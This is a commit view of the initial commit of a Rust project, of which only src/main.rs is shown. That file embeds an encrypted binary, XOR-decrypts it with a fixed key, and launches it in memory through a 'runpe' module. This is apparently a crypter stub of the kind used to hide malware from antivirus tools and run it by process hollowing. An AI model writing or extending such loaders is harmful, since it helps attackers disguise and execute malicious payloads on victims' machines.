initial commit

This commit is contained in:
2025-07-22 00:02:14 +09:00
commit f38b576d3a
8 changed files with 192 additions and 0 deletions

18
src/main.rs Normal file
View File

@@ -0,0 +1,18 @@
use crate::runpe::run_portable_executable;
mod runpe;
fn xor_crypt(input: &mut [u8], key: u8) {
for byte in input.iter_mut() {
*byte ^= key;
}
}
static BYTES: &[u8] = include_bytes!("crypt.bin");
fn main() {
let mut bytes = BYTES.clone();
xor_crypt(&mut bytes, 0x42);
run_portable_executable(bytes).unwrap();
}